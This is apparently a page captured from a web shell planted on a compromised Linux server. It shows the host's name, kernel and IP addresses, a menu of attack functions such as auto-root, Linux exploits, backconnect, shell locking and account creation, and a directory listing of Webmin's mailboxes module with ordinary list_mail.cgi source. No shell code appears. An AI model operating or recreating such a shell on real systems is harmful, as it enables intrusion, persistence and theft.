Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mailboxes /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
xinha
[ DIR ]
drwxr-xr-x
CHANGELOG
5.7
KB
-rw-r--r--
Makefile
125
B
-rw-r--r--
acl_security.pl
3
KB
-rwxr-xr-x
boxes-lib.pl
80.12
KB
-rwxr-xr-x
cgi_args.pl
520
B
-rwxr-xr-x
config
757
B
-rw-r--r--
config.info
4.92
KB
-rw-r--r--
config.info.ca
5.77
KB
-rw-r--r--
config.info.cs
5.18
KB
-rw-r--r--
config.info.de
6.25
KB
-rw-r--r--
config.info.el
8.13
KB
-rw-r--r--
config.info.fi
0
B
-rw-r--r--
config.info.fr
6.41
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
5.96
KB
-rw-r--r--
config.info.ja
5.96
KB
-rw-r--r--
config.info.ko
5.28
KB
-rw-r--r--
config.info.nl
5.46
KB
-rw-r--r--
config.info.no
5.24
KB
-rw-r--r--
config.info.pt_BR
0
B
-rw-r--r--
config_info.pl
389
B
-rwxr-xr-x
defaultacl
50
B
-rw-r--r--
delete_all.cgi
1.25
KB
-rwxr-xr-x
delete_mail.cgi
7
KB
-rwxr-xr-x
detach.cgi
3.19
KB
-rwxr-xr-x
detachall.cgi
1.72
KB
-rwxr-xr-x
find.cgi
731
B
-rwxr-xr-x
folders-lib.pl
102.95
KB
-rwxr-xr-x
index.cgi
2.73
KB
-rwxr-xr-x
list_mail.cgi
5.15
KB
-rwxr-xr-x
log_parser.pl
1.02
KB
-rwxr-xr-x
mail_search.cgi
3.68
KB
-rwxr-xr-x
mailboxes-lib.pl
33.57
KB
-rwxr-xr-x
makelang.pl
1.35
KB
-rwxr-xr-x
module.info
137
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
82
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
145
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
185
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
167
B
-rw-r--r--
module.info.ca
97
B
-rw-r--r--
module.info.cs
37
B
-rw-r--r--
module.info.cs.auto
75
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
72
B
-rw-r--r--
module.info.de
77
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
232
B
-rw-r--r--
module.info.es
38
B
-rw-r--r--
module.info.es.auto
72
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
110
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
141
B
-rw-r--r--
module.info.fi
27
B
-rw-r--r--
module.info.fi.auto
61
B
-rw-r--r--
module.info.fr
40
B
-rw-r--r--
module.info.fr.auto
76
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
117
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
108
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.auto
72
B
-rw-r--r--
module.info.it
27
B
-rw-r--r--
module.info.it.auto
76
B
-rw-r--r--
module.info.ja
39
B
-rw-r--r--
module.info.ja.auto
79
B
-rw-r--r--
module.info.ko
29
B
-rw-r--r--
module.info.ko.auto
65
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
110
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
85
B
-rw-r--r--
module.info.ms
73
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
81
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
57
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.auto
47
B
-rw-r--r--
module.info.pl
38
B
-rw-r--r--
module.info.pl.auto
67
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
94
B
-rw-r--r--
module.info.pt_BR
34
B
-rw-r--r--
module.info.pt_BR.auto
65
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
116
B
-rw-r--r--
module.info.ru
63
B
-rw-r--r--
module.info.ru.auto
99
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
120
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
97
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
78
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
154
B
-rw-r--r--
module.info.tr
104
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
193
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
117
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
99
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
79
B
-rw-r--r--
module.info.zh_TW
33
B
-rw-r--r--
module.info.zh_TW.auto
55
B
-rw-r--r--
prefs.info
225
B
-rw-r--r--
reply_mail.cgi
16.15
KB
-rwxr-xr-x
safeacl
32
B
-rw-r--r--
search_form.cgi
1.86
KB
-rwxr-xr-x
send_mail.cgi
9.56
KB
-rwxr-xr-x
slideshow.cgi
1.63
KB
-rwxr-xr-x
useradmin_update.pl
2.33
KB
-rwxr-xr-x
view_mail.cgi
10.43
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : list_mail.cgi
#!/usr/bin/perl # list_mail.cgi # List the mail messages for some user in some folder require './mailboxes-lib.pl'; &ReadParse(); &can_user($in{'user'}) || &error($text{'mail_ecannot'}); &is_user($in{'user'}) || -e $in{'user'} || &error($text{'mail_efile'}); $uuser = &urlize($in{'user'}); if ($config{'track_read'}) { dbmopen(%read, &user_read_dbm_file($in{'user'}), 0600); } # Make sure the mail system is OK $err = &test_mail_system(); if ($err) { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); if (!$access{'noconfig'}) { &ui_print_endpage(&text('index_esystem3', "../config.cgi?$module_name", $err)); } else { &ui_print_endpage(&text('mail_esystem', $err)); } } &ui_print_header(undef, $text{'mail_title'}, ""); @folders = &list_user_folders_sorted($in{'user'}); ($folder) = grep { $_->{'index'} == $in{'folder'} } @folders; # Get folder-selection HTML $sel = &folder_select(\@folders, $folder, "folder", undef, 0, 1); # Work out start from jump page $perpage = $folder->{'perpage'} || $config{'perpage'}; if ($in{'jump'} =~ /^\d+$/ && $in{'jump'} > 0) { $in{'start'} = ($in{'jump'}-1)*$perpage; } # View mail from the most recent @mail = reverse(&mailbox_list_mails(-$in{'start'}, -$in{'start'}-$perpage+1, $folder, 1, \@error)); if ($in{'start'} >= @mail && $in{'jump'}) { # Jumped too far! $in{'start'} = @mail - $perpage; @mail = reverse(&mailbox_list_mails(-$in{'start'}, -$in{'start'}-$perpage+1, $folder, 1, \@error)); } # Show page flipping arrows &show_arrows(); # Start of the deletion / move form print &ui_form_start("delete_mail.cgi", "post"); print &ui_hidden("user", $in{'user'}); print &ui_hidden("dom", $in{'dom'}); print &ui_hidden("folder", $folder->{'index'}); print &ui_hidden("mod", &modification_time($folder)); print &ui_hidden("start", $in{'start'}); if ($config{'top_buttons'} && @mail) { &show_buttons(1, \@folders, $folder, \@mail, $in{'user'}); } # Show error opening folder if (@error) { print "<center><b><font color=#ff0000>\n"; print &text('mail_err', $error[0] == 0 ? $error[1] : &text('save_elogin', $error[1])),"\n"; print "</font></b></center>\n"; } # Get the mails @showmail = ( ); for($i=$in{'start'}; $i<@mail && $i<$in{'start'}+$perpage; $i++) { push(@showmail, $mail[$i]); } &mail_has_attachments(\@showmail, $folder); # Show them if (@mail) { &show_mail_table(\@showmail, $folder, 1, $config{'track_read'} ? \%read : undef); } &show_buttons(2, \@folders, $folder, \@mail, $in{'user'}); print &ui_form_end(); if ($config{'arrows'} && @mail) { # Show page flipping arrows at the bottom &show_arrows(); } @grid = ( ); if (@mail) { # Show simple search form push(@grid, &ui_form_start("mail_search.cgi"). &ui_hidden("user", $in{'user'}). &ui_hidden("dom", $in{'dom'}). &ui_hidden("folder", $folder->{'index'}). &ui_hidden("simple", 1). &ui_submit($text{'mail_search2'})." ". &ui_textbox("search", undef, 20). &ui_form_end()); # Show advanced search button push(@grid, &ui_form_start("search_form.cgi"). &ui_hidden("user", $in{'user'}). &ui_hidden("dom", $in{'dom'}). &ui_hidden("folder", $folder->{'index'}). &ui_submit($text{'mail_advanced'}, "advanced"). &ui_form_end()); # Show delete all button push(@grid, &ui_form_start("delete_all.cgi"). &ui_hidden("user", $in{'user'}). &ui_hidden("dom", $in{'dom'}). &ui_hidden("folder", $folder->{'index'}). &ui_submit($text{'mail_delall'}). &ui_form_end()); } # Show page jump form $jumpform = (@mail > $perpage); if ($jumpform) { push(@grid, &ui_form_start("list_mail.cgi"). &ui_hidden("user", $in{'user'}). &ui_hidden("dom", $in{'dom'}). &ui_hidden("folder", $folder->{'index'}). &ui_submit($text{'mail_jump'})." ". &ui_textbox("jump", int($in{'start'} / $perpage)+1, 3)." ". $text{'mail_of'}." ".(int(@mail / $perpage)+1). &ui_form_end()); } # Show the buttons, if any if (@grid) { print &ui_hr(); print &ui_grid_table(\@grid, 4, 100, [ "align=left width=25%", "align=center width=25%", "align=center width=25%", "align=right width=25%" ], "cellpadding=0 cellspacing=0"); } if ($config{'log_read'}) { &webmin_log("read", undef, $in{'user'}, { 'file' => $folder->{'file'} }); } &ui_print_footer(&user_list_link(), $text{'index_return'}); sub show_arrows { my $link = "list_mail.cgi?user=".&urlize($in{'user'})."&folder=".$in{'folder'}; my $left = $in{'start'} ? $link."&start=".($in{'start'}-$perpage) : undef; my $right = $in{'start'}+$perpage < @mail ? $link."&start=".($in{'start'}+$perpage) : undef; my $first = $in{'start'} ? $link."&start=0" : undef; my $last = $in{'start'}+$perpage < @mail ? $link."&start=".(int((scalar(@mail)-$perpage-1)/$perpage + 1)*$perpage) : undef; my $s = @mail-$in{'start'}; my $e = @mail-$in{'start'}-$perpage+1; print &ui_page_flipper( @mail ? &text('mail_pos', $s, $e < 1 ? 1 : $e, scalar(@mail), $sel) : &text('mail_none', $sel), &ui_submit($text{'mail_fchange'}). &ui_hidden("user", $in{'user'}). &ui_hidden("dom", $in{'dom'}), "list_mail.cgi", $left, $right, $first, $last, ); }
Close